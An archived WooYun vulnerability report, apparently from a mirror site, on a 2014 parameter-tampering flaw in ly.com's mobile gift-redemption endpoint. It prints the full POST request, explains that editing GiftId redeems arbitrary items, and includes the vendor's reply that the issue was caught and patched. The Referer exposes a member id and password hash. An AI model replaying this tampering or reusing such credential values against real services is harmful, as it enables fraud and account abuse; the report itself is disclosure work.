乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-07-11: 细节已通知厂商并且等待厂商处理中 2014-07-16: 厂商已经主动忽略漏洞,细节向公众公开
RT
POST /deal/giftwritesubmit.html?_=1404615688604 HTTP/1.1Host: m.ly.comProxy-Connection: keep-aliveReferer: http://m.ly.com/deal/membersign.html?mid=19869225a323e36b88f8d89a7cb6114f&stype=0&pwd=a94057c50ef3c68fd22d9c53a311af91&ts=1404614412&sign=20f739012243fd8082c28246880d0adfContent-Length: 136Origin: http://m.ly.comX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedAccept: application/jsonUser-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; zh-cn; GT-I9100G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30/TcTravel/6.3.0Accept-Encoding: gzip,deflateAccept-Language: zh-CN, en-USAccept-Charset: utf-8, iso-8859-1, utf-16, gb2312, gbk, *;q=0.7Cookie: cookie省略GiftId=8&Name=姓名&Mobile=手机号Province=&City=&County=&Address=&GiftType=0&Remark=身份证&Sign=
修改上面的GiftId即可刷物品 如IPAD就写GiftId=IPAD 其他的是数字GiftId=1.。。。。
肯定收不到货
危害等级:无影响厂商忽略
忽略时间:2014-07-16 11:21
2014-07-16:忽略是和洞主商量过了,原因如下:洞主11号报告后,我一直没能成功重现,后来周六看邮件才知道这个是有人工审核的,洞主6号尝试兑换,7号运营报告了异常(游币数值和商品对不上),开发当天就加强了验证。有漏洞还是不能捂在手里啊,总之还是非常感谢洞主。重现的过程中发现另外一处问题(看上面漏洞证明中的Referer),这个问题已经在新版本客户端上线前紧急修复了。